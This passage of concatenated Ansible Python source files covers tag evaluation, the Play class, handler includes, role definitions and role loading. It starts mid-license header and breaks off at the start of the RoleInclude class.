# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import itertools

from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.playbook.attribute import FieldAttribute
from ansible.template import Templar

class Taggable:

    untagged = frozenset(['untagged'])
    _tags = FieldAttribute(isa='list', default=[], listof=(string_types,int))

    def __init__(self):
        super(Taggable, self).__init__()

    def _load_tags(self, attr, ds):
        if isinstance(ds, list):
            return ds
        elif isinstance(ds, string_types):
            value = ds.split(',')
            if isinstance(value, list):
                return [ x.strip() for x in value ]
            else:
                return [ ds ]
        else:
            raise AnsibleError('tags must be specified as a list', obj=ds)

    def _get_attr_tags(self):
        '''
        Override for the 'tags' getattr fetcher, used from Base.
        '''
        tags = self._attributes['tags']
        if tags is None:
            tags = []
        if hasattr(self, '_get_parent_attribute'):
            tags = self._get_parent_attribute('tags', extend=True)
        return tags

    def evaluate_tags(self, only_tags, skip_tags, all_vars):
        ''' this checks if the current item should be executed depending on tag options '''

        should_run = True

        if self.tags:
            templar = Templar(loader=self._loader, variables=all_vars)
            tags = templar.template(self.tags)

            if not isinstance(tags, list):
                if tags.find(',') != -1:
                    tags = set(tags.split(','))
                else:
                    tags = set([tags])
            else:
                tags = set([i for i,_ in itertools.groupby(tags)])
        else:
            # this makes isdisjoint work for untagged
            tags = self.untagged

        if only_tags:

            should_run = False

            if 'always' in tags or 'all' in only_tags:
                 should_run = True
            elif not tags.isdisjoint(only_tags):
                should_run = True
            elif 'tagged' in only_tags and tags != self.untagged:
                should_run = True

        if should_run and skip_tags:

            # Check for tags that we need to skip
            if 'all' in skip_tags:
                if 'always' not in tags or 'always' in skip_tags:
                    should_run = False
            elif not tags.isdisjoint(skip_tags):
                should_run = False
            elif 'tagged' in skip_tags and tags != self.untagged:
                should_run = False

        return should_run






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types

from ansible.errors import AnsibleParserError

from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.become import Become
from ansible.playbook.block import Block
from ansible.playbook.helpers import load_list_of_blocks, load_list_of_roles
from ansible.playbook.role import Role
from ansible.playbook.taggable import Taggable
from ansible.vars import preprocess_vars

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


__all__ = ['Play']


class Play(Base, Taggable, Become):

    """
    A play is a language feature that represents a list of roles and/or
    task/handler blocks to execute on a given set of hosts.

    Usage:

       Play.load(datastructure) -> Play
       Play.something(...)
    """

    # =================================================================================
    # Connection-Related Attributes

    # TODO: generalize connection
    _accelerate          = FieldAttribute(isa='bool', default=False, always_post_validate=True)
    _accelerate_ipv6     = FieldAttribute(isa='bool', default=False, always_post_validate=True)
    _accelerate_port     = FieldAttribute(isa='int', default=5099, always_post_validate=True)

    # Connection
    _gather_facts        = FieldAttribute(isa='bool', default=None, always_post_validate=True)
    _gather_subset       = FieldAttribute(isa='barelist', default=None, always_post_validate=True)
    _gather_timeout      = FieldAttribute(isa='int', default=None, always_post_validate=True)
    _hosts               = FieldAttribute(isa='list', required=True, listof=string_types, always_post_validate=True)
    _name                = FieldAttribute(isa='string', default='', always_post_validate=True)

    # Variable Attributes
    _vars_files          = FieldAttribute(isa='list', default=[], priority=99)
    _vars_prompt         = FieldAttribute(isa='list', default=[], always_post_validate=True)
    _vault_password      = FieldAttribute(isa='string', always_post_validate=True)

    # Role Attributes
    _roles               = FieldAttribute(isa='list', default=[], priority=90)

    # Block (Task) Lists Attributes
    _handlers            = FieldAttribute(isa='list', default=[])
    _pre_tasks           = FieldAttribute(isa='list', default=[])
    _post_tasks          = FieldAttribute(isa='list', default=[])
    _tasks               = FieldAttribute(isa='list', default=[])

    # Flag/Setting Attributes
    _any_errors_fatal    = FieldAttribute(isa='bool', default=False, always_post_validate=True)
    _force_handlers      = FieldAttribute(isa='bool', always_post_validate=True)
    _max_fail_percentage = FieldAttribute(isa='percent', always_post_validate=True)
    _serial              = FieldAttribute(isa='list', default=[], always_post_validate=True)
    _strategy            = FieldAttribute(isa='string', default='linear', always_post_validate=True)

    # =================================================================================

    def __init__(self):
        super(Play, self).__init__()

        self._included_path = None
        self.ROLE_CACHE = {}

    def __repr__(self):
        return self.get_name()

    def get_name(self):
        ''' return the name of the Play '''
        return self._attributes.get('name')

    @staticmethod
    def load(data, variable_manager=None, loader=None):
        if ('name' not in data or data['name'] is None) and 'hosts' in data:
            if isinstance(data['hosts'], list):
                data['name'] = ','.join(data['hosts'])
            else:
                 data['name'] = data['hosts']
        p = Play()
        return p.load_data(data, variable_manager=variable_manager, loader=loader)

    def preprocess_data(self, ds):
        '''
        Adjusts play datastructure to cleanup old/legacy items
        '''

        assert isinstance(ds, dict)

        # The use of 'user' in the Play datastructure was deprecated to
        # line up with the same change for Tasks, due to the fact that
        # 'user' conflicted with the user module.
        if 'user' in ds:
            # this should never happen, but error out with a helpful message
            # to the user if it does...
            if 'remote_user' in ds:
                raise AnsibleParserError("both 'user' and 'remote_user' are set for %s."
                        " The use of 'user' is deprecated, and should be removed" % self.get_name(), obj=ds)

            ds['remote_user'] = ds['user']
            del ds['user']

        return super(Play, self).preprocess_data(ds)

    def _load_hosts(self, attr, ds):
        '''
        Loads the hosts from the given datastructure, which might be a list
        or a simple string. We also switch integers in this list back to strings,
        as the YAML parser will turn things that look like numbers into numbers.
        '''

        if isinstance(ds, (string_types, int)):
            ds = [ ds ]

        if not isinstance(ds, list):
            raise AnsibleParserError("'hosts' must be specified as a list or a single pattern", obj=ds)

        # YAML parsing of things that look like numbers may have
        # resulted in integers showing up in the list, so convert
        # them back to strings to prevent problems
        for idx,item in enumerate(ds):
            if isinstance(item, int):
                ds[idx] = "%s" % item

        return ds

    def _load_tasks(self, attr, ds):
        '''
        Loads a list of blocks from a list which may be mixed tasks/blocks.
        Bare tasks outside of a block are given an implicit block.
        '''
        try:
            return load_list_of_blocks(ds=ds, play=self, variable_manager=self._variable_manager, loader=self._loader)
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def _load_pre_tasks(self, attr, ds):
        '''
        Loads a list of blocks from a list which may be mixed tasks/blocks.
        Bare tasks outside of a block are given an implicit block.
        '''
        try:
            return load_list_of_blocks(ds=ds, play=self, variable_manager=self._variable_manager, loader=self._loader)
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def _load_post_tasks(self, attr, ds):
        '''
        Loads a list of blocks from a list which may be mixed tasks/blocks.
        Bare tasks outside of a block are given an implicit block.
        '''
        try:
            return load_list_of_blocks(ds=ds, play=self, variable_manager=self._variable_manager, loader=self._loader)
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def _load_handlers(self, attr, ds):
        '''
        Loads a list of blocks from a list which may be mixed handlers/blocks.
        Bare handlers outside of a block are given an implicit block.
        '''
        try:
            return load_list_of_blocks(ds=ds, play=self, use_handlers=True, variable_manager=self._variable_manager, loader=self._loader)
        except AssertionError:
            raise AnsibleParserError("A malformed block was encountered.", obj=self._ds)

    def _load_roles(self, attr, ds):
        '''
        Loads and returns a list of RoleInclude objects from the datastructure
        list of role definitions and creates the Role from those objects
        '''

        if ds is None:
            ds = []

        try:
            role_includes = load_list_of_roles(ds, play=self, variable_manager=self._variable_manager, loader=self._loader)
        except AssertionError:
            raise AnsibleParserError("A malformed role declaration was encountered.", obj=self._ds)

        roles = []
        for ri in role_includes:
            roles.append(Role.load(ri, play=self))
        return roles

    def _load_vars_prompt(self, attr, ds):
        new_ds = preprocess_vars(ds)
        vars_prompts = []
        for prompt_data in new_ds:
            if 'name' not in prompt_data:
                display.deprecated("Using the 'short form' for vars_prompt has been deprecated")
                for vname, prompt in prompt_data.iteritems():
                    vars_prompts.append(dict(
                        name      = vname,
                        prompt    = prompt,
                        default   = None,
                        private   = None,
                        confirm   = None,
                        encrypt   = None,
                        salt_size = None,
                        salt      = None,
                    ))
            else:
                vars_prompts.append(prompt_data)
        return vars_prompts

    def _compile_roles(self):
        '''
        Handles the role compilation step, returning a flat list of tasks
        with the lowest level dependencies first. For example, if a role R
        has a dependency D1, which also has a dependency D2, the tasks from
        D2 are merged first, followed by D1, and lastly by the tasks from
        the parent role R last. This is done for all roles in the Play.
        '''

        block_list = []

        if len(self.roles) > 0:
            for r in self.roles:
                block_list.extend(r.compile(play=self))

        return block_list

    def compile_roles_handlers(self):
        '''
        Handles the role handler compilation step, returning a flat list of Handlers
        This is done for all roles in the Play.
        '''

        block_list = []

        if len(self.roles) > 0:
            for r in self.roles:
                block_list.extend(r.get_handler_blocks(play=self))

        return block_list

    def compile(self):
        '''
        Compiles and returns the task list for this play, compiled from the
        roles (which are themselves compiled recursively) and/or the list of
        tasks specified in the play.
        '''

        # create a block containing a single flush handlers meta
        # task, so we can be sure to run handlers at certain points
        # of the playbook execution
        flush_block = Block.load(
            data={'meta': 'flush_handlers'},
            play=self,
            variable_manager=self._variable_manager,
            loader=self._loader
        )

        block_list = []

        block_list.extend(self.pre_tasks)
        block_list.append(flush_block)
        block_list.extend(self._compile_roles())
        block_list.extend(self.tasks)
        block_list.append(flush_block)
        block_list.extend(self.post_tasks)
        block_list.append(flush_block)

        return block_list

    def get_vars(self):
        return self.vars.copy()

    def get_vars_files(self):
        return self.vars_files

    def get_handlers(self):
        return self.handlers[:]

    def get_roles(self):
        return self.roles[:]

    def get_tasks(self):
        tasklist = []
        for task in self.pre_tasks + self.tasks + self.post_tasks:
            if isinstance(task, Block):
                tasklist.append(task.block + task.rescue + task.always)
            else:
                tasklist.append(task)
        return tasklist

    def serialize(self):
        data = super(Play, self).serialize()

        roles = []
        for role in self.get_roles():
            roles.append(role.serialize())
        data['roles'] = roles
        data['included_path'] = self._included_path

        return data

    def deserialize(self, data):
        super(Play, self).deserialize(data)

        self._included_path = data.get('included_path', None)
        if 'roles' in data:
            role_data = data.get('roles', [])
            roles = []
            for role in role_data:
                r = Role()
                r.deserialize(role)
                roles.append(r)

            setattr(self, 'roles', roles)
            del data['roles']

    def copy(self):
        new_me = super(Play, self).copy()
        new_me.ROLE_CACHE = self.ROLE_CACHE.copy()
        new_me._included_path = self._included_path
        return new_me






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors import AnsibleError
#from ansible.inventory.host import Host
from ansible.playbook.task_include import TaskInclude
from ansible.playbook.handler import Handler

class HandlerTaskInclude(Handler, TaskInclude):

    @staticmethod
    def load(data, block=None, role=None, task_include=None, variable_manager=None, loader=None):
        t = HandlerTaskInclude(block=block, role=role, task_include=task_include)
        return t.load_data(data, variable_manager=variable_manager, loader=loader)







# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems, string_types

import os

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject, AnsibleMapping
from ansible.playbook.attribute import Attribute, FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.become import Become
from ansible.playbook.conditional import Conditional
from ansible.playbook.taggable import Taggable
from ansible.template import Templar
from ansible.utils.path import unfrackpath


__all__ = ['RoleDefinition']


class RoleDefinition(Base, Become, Conditional, Taggable):

    _role = FieldAttribute(isa='string')

    def __init__(self, play=None, role_basedir=None, variable_manager=None, loader=None):
        self._play             = play
        self._variable_manager = variable_manager
        self._loader           = loader

        self._role_path    = None
        self._role_basedir = role_basedir
        self._role_params  = dict()
        super(RoleDefinition, self).__init__()

    #def __repr__(self):
    #    return 'ROLEDEF: ' + self._attributes.get('role', '<no name set>')

    @staticmethod
    def load(data, variable_manager=None, loader=None):
        raise AnsibleError("not implemented")

    def preprocess_data(self, ds):
        # role names that are simply numbers can be parsed by PyYAML
        # as integers even when quoted, so turn it into a string type
        if isinstance(ds, int):
            ds = "%s" % ds

        assert isinstance(ds, dict) or isinstance(ds, string_types) or isinstance(ds, AnsibleBaseYAMLObject)

        if isinstance(ds, dict):
            ds = super(RoleDefinition, self).preprocess_data(ds)

        # save the original ds for use later
        self._ds = ds

        # we create a new data structure here, using the same
        # object used internally by the YAML parsing code so we
        # can preserve file:line:column information if it exists
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        # first we pull the role name out of the data structure,
        # and then use that to determine the role path (which may
        # result in a new role name, if it was a file path)
        role_name = self._load_role_name(ds)
        (role_name, role_path) = self._load_role_path(role_name)

        # next, we split the role params out from the valid role
        # attributes and update the new datastructure with that
        # result and the role name
        if isinstance(ds, dict):
            (new_role_def, role_params) = self._split_role_params(ds)
            new_ds.update(new_role_def)
            self._role_params = role_params

        # set the role name in the new ds
        new_ds['role'] = role_name

        # we store the role path internally
        self._role_path = role_path

        # and return the cleaned-up data structure
        return new_ds

    def _load_role_name(self, ds):
        '''
        Returns the role name (either the role: or name: field) from
        the role definition, or (when the role definition is a simple
        string), just that string
        '''

        if isinstance(ds, string_types):
            return ds

        role_name = ds.get('role', ds.get('name'))
        if not role_name or not isinstance(role_name, string_types):
            raise AnsibleError('role definitions must contain a role name', obj=ds)

        # if we have the required datastructures, and if the role_name
        # contains a variable, try and template it now
        if self._variable_manager:
            all_vars = self._variable_manager.get_vars(loader=self._loader, play=self._play)
            templar = Templar(loader=self._loader, variables=all_vars)
            if templar._contains_vars(role_name):
                role_name = templar.template(role_name)

        return role_name

    def _load_role_path(self, role_name):
        '''
        the 'role', as specified in the ds (or as a bare string), can either
        be a simple name or a full path. If it is a full path, we use the
        basename as the role name, otherwise we take the name as-given and
        append it to the default role path
        '''

        # we always start the search for roles in the base directory of the playbook
        role_search_paths = [
            os.path.join(self._loader.get_basedir(), u'roles'),
            self._loader.get_basedir(),
        ]

        # also search in the configured roles path
        if C.DEFAULT_ROLES_PATH:
            role_search_paths.extend(C.DEFAULT_ROLES_PATH)

        # finally, append the roles basedir, if it was set, so we can
        # search relative to that directory for dependent roles
        if self._role_basedir:
            role_search_paths.append(self._role_basedir)

        # create a templar class to template the dependency names, in
        # case they contain variables
        if self._variable_manager is not None:
            all_vars = self._variable_manager.get_vars(loader=self._loader, play=self._play)
        else:
            all_vars = dict()

        templar = Templar(loader=self._loader, variables=all_vars)
        role_name = templar.template(role_name)

        # now iterate through the possible paths and return the first one we find
        for path in role_search_paths:
            path = templar.template(path)
            role_path = unfrackpath(os.path.join(path, role_name))
            if self._loader.path_exists(role_path):
                return (role_name, role_path)

        # if not found elsewhere try to extract path from name
        role_path = unfrackpath(role_name)
        if self._loader.path_exists(role_path):
            role_name = os.path.basename(role_name)
            return (role_name, role_path)

        raise AnsibleError("the role '%s' was not found in %s" % (role_name, ":".join(role_search_paths)), obj=self._ds)

    def _split_role_params(self, ds):
        '''
        Splits any random role params off from the role spec and store
        them in a dictionary of params for parsing later
        '''

        role_def = dict()
        role_params = dict()
        base_attribute_names = frozenset(self._get_base_attributes().keys())
        for (key, value) in iteritems(ds):
            # use the list of FieldAttribute values to determine what is and is not
            # an extra parameter for this role (or sub-class of this role)
            # FIXME: hard-coded list of exception key names here corresponds to the
            #        connection fields in the Base class. There may need to be some
            #        other mechanism where we exclude certain kinds of field attributes,
            #        or make this list more automatic in some way so we don't have to
            #        remember to update it manually.
            if key not in base_attribute_names or key in ('connection', 'port', 'remote_user'):
                # this key does not match a field attribute, so it must be a role param
                role_params[key] = value
            else:
                # this is a field attribute, so copy it over directly
                role_def[key] = value

        return (role_def, role_params)

    def get_role_params(self):
        return self._role_params.copy()

    def get_role_path(self):
        return self._role_path






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems

import os

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.become import Become
from ansible.playbook.conditional import Conditional
from ansible.playbook.helpers import load_list_of_blocks
from ansible.playbook.role.metadata import RoleMetadata
from ansible.playbook.taggable import Taggable
from ansible.plugins import get_all_plugin_loaders
from ansible.utils.vars import combine_vars


__all__ = ['Role', 'hash_params']

# TODO: this should be a utility function, but can't be a member of
#       the role due to the fact that it would require the use of self
#       in a static method. This is also used in the base class for
#       strategies (ansible/plugins/strategy/__init__.py)
def hash_params(params):
    if not isinstance(params, dict):
        if isinstance(params, list):
            return frozenset(params)
        else:
            return params
    else:
        s = set()
        for k,v in iteritems(params):
            if isinstance(v, dict):
                s.update((k, hash_params(v)))
            elif isinstance(v, list):
                things = []
                for item in v:
                    things.append(hash_params(item))
                s.update((k, tuple(things)))
            else:
                s.update((k, v))
        return frozenset(s)

class Role(Base, Become, Conditional, Taggable):

    _delegate_to = FieldAttribute(isa='string')
    _delegate_facts = FieldAttribute(isa='bool', default=False)

    def __init__(self, play=None):
        self._role_name        = None
        self._role_path        = None
        self._role_params      = dict()
        self._loader           = None

        self._metadata         = None
        self._play             = play
        self._parents          = []
        self._dependencies     = []
        self._task_blocks      = []
        self._handler_blocks   = []
        self._default_vars     = dict()
        self._role_vars        = dict()
        self._had_task_run     = dict()
        self._completed        = dict()

        super(Role, self).__init__()

    def __repr__(self):
        return self.get_name()

    def get_name(self):
        return self._role_name

    @staticmethod
    def load(role_include, play, parent_role=None):
        try:
            # The ROLE_CACHE is a dictionary of role names, with each entry
            # containing another dictionary corresponding to a set of parameters
            # specified for a role as the key and the Role() object itself.
            # We use frozenset to make the dictionary hashable.

            params = role_include.get_role_params()
            if role_include.when is not None:
                params['when'] = role_include.when
            if role_include.tags is not None:
                params['tags'] = role_include.tags
            hashed_params = hash_params(params)
            if role_include.role in play.ROLE_CACHE:
                for (entry, role_obj) in iteritems(play.ROLE_CACHE[role_include.role]):
                    if hashed_params == entry:
                        if parent_role:
                            role_obj.add_parent(parent_role)
                        return role_obj

            r = Role(play=play)
            r._load_role_data(role_include, parent_role=parent_role)

            if role_include.role not in play.ROLE_CACHE:
                play.ROLE_CACHE[role_include.role] = dict()

            play.ROLE_CACHE[role_include.role][hashed_params] = r
            return r

        except RuntimeError:
            raise AnsibleError("A recursion loop was detected with the roles specified. Make sure child roles do not have dependencies on parent roles", obj=role_include._ds)

    def _load_role_data(self, role_include, parent_role=None):
        self._role_name        = role_include.role
        self._role_path        = role_include.get_role_path()
        self._role_params      = role_include.get_role_params()
        self._variable_manager = role_include.get_variable_manager()
        self._loader           = role_include.get_loader()

        if parent_role:
            self.add_parent(parent_role)

        # copy over all field attributes, except for when and tags, which
        # are special cases and need to preserve pre-existing values
        for (attr_name, _) in iteritems(self._get_base_attributes()):
            if attr_name not in ('when', 'tags'):
                setattr(self, attr_name, getattr(role_include, attr_name))

        current_when = getattr(self, 'when')[:]
        current_when.extend(role_include.when)
        setattr(self, 'when', current_when)

        current_tags = getattr(self, 'tags')[:]
        current_tags.extend(role_include.tags)
        setattr(self, 'tags', current_tags)

        # dynamically load any plugins from the role directory
        for name, obj in get_all_plugin_loaders():
            if obj.subdir:
                plugin_path = os.path.join(self._role_path, obj.subdir)
                if os.path.isdir(plugin_path):
                    obj.add_directory(plugin_path)

        # load the role's other files, if they exist
        metadata = self._load_role_yaml('meta')
        if metadata:
            self._metadata = RoleMetadata.load(metadata, owner=self, variable_manager=self._variable_manager, loader=self._loader)
            self._dependencies = self._load_dependencies()
        else:
            self._metadata = RoleMetadata()

        task_data = self._load_role_yaml('tasks')
        if task_data:
            try:
                self._task_blocks = load_list_of_blocks(task_data, play=self._play, role=self, loader=self._loader, variable_manager=self._variable_manager)
            except AssertionError:
                raise AnsibleParserError("The tasks/main.yml file for role '%s' must contain a list of tasks" % self._role_name , obj=task_data)

        handler_data = self._load_role_yaml('handlers')
        if handler_data:
            try:
                self._handler_blocks = load_list_of_blocks(handler_data, play=self._play, role=self, use_handlers=True, loader=self._loader, variable_manager=self._variable_manager)
            except AssertionError:
                raise AnsibleParserError("The handlers/main.yml file for role '%s' must contain a list of tasks" % self._role_name , obj=handler_data)

        # vars and default vars are regular dictionaries
        self._role_vars  = self._load_role_yaml('vars')
        if self._role_vars is None:
            self._role_vars = dict()
        elif not isinstance(self._role_vars, dict):
            raise AnsibleParserError("The vars/main.yml file for role '%s' must contain a dictionary of variables" % self._role_name)

        self._default_vars = self._load_role_yaml('defaults')
        if self._default_vars is None:
            self._default_vars = dict()
        elif not isinstance(self._default_vars, dict):
            raise AnsibleParserError("The defaults/main.yml file for role '%s' must contain a dictionary of variables" % self._role_name)

    def _load_role_yaml(self, subdir):
        file_path = os.path.join(self._role_path, subdir)
        if self._loader.path_exists(file_path) and self._loader.is_directory(file_path):
            main_file = self._resolve_main(file_path)
            if self._loader.path_exists(main_file):
                return self._loader.load_from_file(main_file)
        return None

    def _resolve_main(self, basepath):
        ''' flexibly handle variations in main filenames '''
        possible_mains = (
            os.path.join(basepath, 'main.yml'),
            os.path.join(basepath, 'main.yaml'),
            os.path.join(basepath, 'main.json'),
            os.path.join(basepath, 'main'),
        )

        if sum([self._loader.is_file(x) for x in possible_mains]) > 1:
            raise AnsibleError("found multiple main files at %s, only one allowed" % (basepath))
        else:
            for m in possible_mains:
                if self._loader.is_file(m):
                    return m # exactly one main file
            return possible_mains[0] # zero mains (we still need to return something)

    def _load_dependencies(self):
        '''
        Recursively loads role dependencies from the metadata list of
        dependencies, if it exists
        '''

        deps = []
        if self._metadata:
            for role_include in self._metadata.dependencies:
                r = Role.load(role_include, play=self._play, parent_role=self)
                deps.append(r)

        return deps

    #------------------------------------------------------------------------------
    # other functions

    def add_parent(self, parent_role):
        ''' adds a role to the list of this roles parents '''
        assert isinstance(parent_role, Role)

        if parent_role not in self._parents:
            self._parents.append(parent_role)

    def get_parents(self):
        return self._parents

    def get_default_vars(self, dep_chain=[]):
        default_vars = dict()
        for dep in self.get_all_dependencies():
            default_vars = combine_vars(default_vars, dep.get_default_vars())
        if dep_chain:
            for parent in dep_chain:
                default_vars = combine_vars(default_vars, parent._default_vars)
        default_vars = combine_vars(default_vars, self._default_vars)
        return default_vars

    def get_inherited_vars(self, dep_chain=[]):
        inherited_vars = dict()

        if dep_chain:
            for parent in dep_chain:
                inherited_vars = combine_vars(inherited_vars, parent._role_vars)
        return inherited_vars

    def get_role_params(self, dep_chain=[]):
        params = {}
        if dep_chain:
            for parent in dep_chain:
                params = combine_vars(params, parent._role_params)
        params = combine_vars(params, self._role_params)
        return params

    def get_vars(self, dep_chain=[], include_params=True):
        all_vars = self.get_inherited_vars(dep_chain)

        for dep in self.get_all_dependencies():
            all_vars = combine_vars(all_vars, dep.get_vars(include_params=include_params))

        all_vars = combine_vars(all_vars, self._role_vars)
        if include_params:
            all_vars = combine_vars(all_vars, self.get_role_params(dep_chain=dep_chain))

        return all_vars

    def get_direct_dependencies(self):
        return self._dependencies[:]

    def get_all_dependencies(self):
        '''
        Returns a list of all deps, built recursively from all child dependencies,
        in the proper order in which they should be executed or evaluated.
        '''

        child_deps  = []

        for dep in self.get_direct_dependencies():
            for child_dep in dep.get_all_dependencies():
                child_deps.append(child_dep)
            child_deps.append(dep)

        return child_deps

    def get_task_blocks(self):
        return self._task_blocks[:]

    def get_handler_blocks(self, play, dep_chain=None):
        block_list = []

        # update the dependency chain here
        if dep_chain is None:
            dep_chain = []
        new_dep_chain = dep_chain + [self]

        for dep in self.get_direct_dependencies():
            dep_blocks = dep.get_handler_blocks(play=play, dep_chain=new_dep_chain)
            block_list.extend(dep_blocks)

        for task_block in self._handler_blocks:
            new_task_block = task_block.copy()
            new_task_block._dep_chain = new_dep_chain
            new_task_block._play = play
            block_list.append(new_task_block)

        return block_list

    def has_run(self, host):
        '''
        Returns true if this role has been iterated over completely and
        at least one task was run
        '''

        return host.name in self._completed and not self._metadata.allow_duplicates

    def compile(self, play, dep_chain=None):
        '''
        Returns the task list for this role, which is created by first
        recursively compiling the tasks for all direct dependencies, and
        then adding on the tasks for this role.

        The role compile() also remembers and saves the dependency chain
        with each task, so tasks know by which route they were found, and
        can correctly take their parent's tags/conditionals into account.
        '''

        block_list = []

        # update the dependency chain here
        if dep_chain is None:
            dep_chain = []
        new_dep_chain = dep_chain + [self]

        deps = self.get_direct_dependencies()
        for dep in deps:
            dep_blocks = dep.compile(play=play, dep_chain=new_dep_chain)
            block_list.extend(dep_blocks)

        for task_block in self._task_blocks:
            new_task_block = task_block.copy(exclude_parent=True)
            if task_block._parent:
                new_task_block._parent = task_block._parent.copy()
            new_task_block._dep_chain = new_dep_chain
            new_task_block._play = play
            block_list.append(new_task_block)

        return block_list

    def serialize(self, include_deps=True):
        res = super(Role, self).serialize()

        res['_role_name']    = self._role_name
        res['_role_path']    = self._role_path
        res['_role_vars']    = self._role_vars
        res['_role_params']  = self._role_params
        res['_default_vars'] = self._default_vars
        res['_had_task_run'] = self._had_task_run.copy()
        res['_completed']    = self._completed.copy()

        if self._metadata:
            res['_metadata'] = self._metadata.serialize()

        if include_deps:
            deps = []
            for role in self.get_direct_dependencies():
                deps.append(role.serialize())
            res['_dependencies'] = deps

        parents = []
        for parent in self._parents:
            parents.append(parent.serialize(include_deps=False))
        res['_parents'] = parents

        return res

    def deserialize(self, data, include_deps=True):
        self._role_name    = data.get('_role_name', '')
        self._role_path    = data.get('_role_path', '')
        self._role_vars    = data.get('_role_vars', dict())
        self._role_params  = data.get('_role_params', dict())
        self._default_vars = data.get('_default_vars', dict())
        self._had_task_run = data.get('_had_task_run', dict())
        self._completed    = data.get('_completed', dict())

        if include_deps:
            deps = []
            for dep in data.get('_dependencies', []):
                r = Role()
                r.deserialize(dep)
                deps.append(r)
            setattr(self, '_dependencies', deps)

        parent_data = data.get('_parents', [])
        parents = []
        for parent in parent_data:
            r = Role()
            r.deserialize(parent, include_deps=False)
            parents.append(r)
        setattr(self, '_parents', parents)

        metadata_data = data.get('_metadata')
        if metadata_data:
            m = RoleMetadata()
            m.deserialize(metadata_data)
            self._metadata = m

        super(Role, self).deserialize(data)

    def set_loader(self, loader):
        self._loader = loader
        for parent in self._parents:
            parent.set_loader(loader)
        for dep in self.get_direct_dependencies():
            dep.set_loader(loader)







# (c) 2014 Michael DeHaan, <michael@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems, string_types

import os

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject
from ansible.playbook.attribute import Attribute, FieldAttribute
from ansible.playbook.role.definition import RoleDefinition
from ansible.playbook.role.requirement import RoleRequirement


__all__ = ['RoleInclude']


class RoleInclude(RoleDefinition):

    """
    A derivative of RoleDefinition, used by playbook code when a role
    is included for execution in a play.
    """

    _delegate_to    = FieldAttribute(isa='string')
    _delegate_facts = FieldAttribute(isa='bool', default=False)

    def __init__(self, play=None, role_basedir=None, variable_manager=None, loader=None):
        super(RoleInclude, self).__init__(play=play, role_basedir=role_basedir, variable_manager=variable_manager, loader=loader)

    @staticmethod
